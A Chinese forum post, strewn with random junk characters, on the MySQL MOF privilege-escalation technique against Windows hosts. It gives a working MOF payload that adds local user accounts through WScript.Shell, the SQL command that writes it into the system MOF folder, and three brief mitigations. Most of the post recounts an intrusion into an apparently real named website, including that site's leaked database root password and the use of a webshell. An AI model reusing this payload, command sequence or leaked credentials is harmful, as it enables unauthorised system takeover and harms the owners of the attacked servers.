Mysql mof扩展漏洞实例与防范

admin

Mysql mof扩展漏洞防范方法

$ E6 K' `7 r/ |, Q网上公开的一些利用代码:

0 J. p! C& j1 e9 j: y! m+ \#pragma namespace(“\\\\.\\root\\subscription”)

7 A4 G! {5 `% p# zinstance of __EventFilter as $EventFilter   {   EventNamespace = “Root\\Cimv2″;   Name  = “filtP2″;   Query = “Select * From __InstanceModificationEvent ”   “Where TargetInstance Isa \”Win32_LocalTime\” ”   “And TargetInstance.Second = 5″;   QueryLanguage = “WQL”;   };   instance of ActiveScriptEventConsumer as $Consumer   {   Name = “consPCSV2″;   ScriptingEngine = “JScript”;   ScriptText =   “var WSH = new ActiveXObject(\”WScript.Shell\”)\nWSH.run(\”net.exe user admin admin /add\”)”;   };   instance of __FilterToConsumerBinding   {   Consumer   = $Consumer;   Filter = $EventFilter;   };


! u* U; @$ }7 v! c8 F6 E

1 H' l# d* L6 l
2 k% q3 b$ \5 Q+ {- v; y* [连接mysql数据库后执行： select load_file(‘C:\\RECYCLER\\nullevt.mof’) into dumpfile ‘c:/windows/system32/wbem/mof/nullevt.mof’;
9 ]8 K4 G. n8 Y6 Q. J从上面代码来看得出解决办法：
- C  }. e# l4 w
+ D( [, b( _5 Y, j/ p. R8 M1、mysql用户权限控制，禁止 “load_file”、”dumpfile”等函数

2、禁止使用”WScript.Shel”组件

3、目录权限c:/windows/system32/wbem/mof/ 删除内置特殊组CREATOR OWNER

. n9 s0 `3 B# {. S' s  N, `当然上面是网上说的 感觉需要的权限很大 比如 root 还有mysql外链昨天碰到了就给大家演示下

+ X3 E! ?; C: n$ X$ T- k; y- e事情是这样发生的  一机油在论坛提问我就看了下 发现已经有大牛搞下了 说是用是 mysql mof扩展提权
+ ]! {2 u1 y/ O. @
但是小菜发现没有听过于是赶紧去查资料学习…就有了上面的来着网上的内容

$ W) Q% T9 Q  ]* ~看懂了后就开始练手吧
- v' x# }- W8 Y& r7 T6 I, G
1 n- P, J8 E8 g3 ^: ^- uhttp://www.webbmw.com/config/config_ucenter.php 一句话 a
' N# C8 U: N( H# F$ Y' u6 H4 R8 }
$_config['db']['1']['dbhost'] = ‘localhost’; $_config['db']['1']['dbuser'] = ‘root’; $_config['db']['1']['dbpw'] = ‘tfr226206′; $_config['db']['1']['dbcharset'] = ‘gbk’; $_config['db']['1']['pconnect'] = ’0′; $_config['db']['1']['dbname'] = ‘webbmw’; $_config['db']['1']['tablepre'] = ‘pre_’; $_config['db']['common']['slave_except_table'] = ”; 有root密码啊。
' p  g1 o7 Q1 t) i% ?
4 `& T: }# Q- m$ _2 l于是直接用菜刀开搞
- G* c2 K3 j, E) p4 l6 \* D
  Q: X1 \9 r" [3 H: f上马先

既然有了那些账号 之类的 于是我们就执行吧…….
% Y6 A7 ~9 r3 P/ `! Q
9 L0 L- @# Z( Y( a7 c小小的说下
; M& @; F$ M' i6 T/ _3 t
, W* |8 u) x1 D1 X6 j在这里第1次执行未成功        原因未知
* C- [0 V2 o" z9 S, U) m
我就猜想是否是因为我们执行的代码有问题 于是我就去我wooyun找的代码。

) x# B( F: q4 q1 P, G6 Y% `& T#pragma namespace(“\\\\.\\root\\subscription”)
4 \* |8 c7 z* D
instance of __EventFilter as $EventFilter   {   EventNamespace = “Root\\Cimv2″;   Name  = “filtP2″;   Query = “Select * From __InstanceModificationEvent ”   “Where TargetInstance Isa \”Win32_LocalTime\” ”   “And TargetInstance.Second = 5″;   QueryLanguage = “WQL”;   };   instance of ActiveScriptEventConsumer as $Consumer   {   Name = “consPCSV2″;   ScriptingEngine = “JScript”;   ScriptText =   “var WSH = new ActiveXObject(\”WScript.Shell\”)\nWSH.run(\”net.exe user test test /add\”)”;   };   instance of __FilterToConsumerBinding   {   Consumer   = $Consumer;   Filter = $EventFilter;   };

我是将文件放到C:\WINDOWS\temp\1.mof

& K( ^" ^, a7 E& \- M2 a所以我们就改下执行的代码
3 u# `6 R3 Z, D4 e3 w& ~, |
select load_file(‘C:\WINDOWS\temp\1.mof‘) into dumpfile ‘c:/windows/system32/wbem/mof/nullevt.mof’;
0 ^: y8 _0 c% b0 f4 e' B/ R6 w- h
6 ^+ B$ ]9 Z- }- i/ y2 |+ ]0 A7 u

6 M5 {3 F9 a3 E' T: _( S4 g  F( o但是 你会发现账号还是没有躺在那里。。

于是我就感觉蛋疼

2 X5 ]3 E& j" S4 X1 J8 I, g! ]就去一个一个去执行 但是执行到第2个 mysql时就成功了………
6 N6 p$ T0 S- o; T: e8 z0 j
: E$ X, U) l: k5 E% n6 k5 D

8 w( C7 `+ ~& d- b" x, t但是其他库均不成功…

: B/ [/ ?4 Q6 I" D我就很费解呀 到底为什么不成功求大牛解答…
& e% ~. l. L& B4 Z+ c8 h
​
; ]1 n2 R/ I6 D: q: x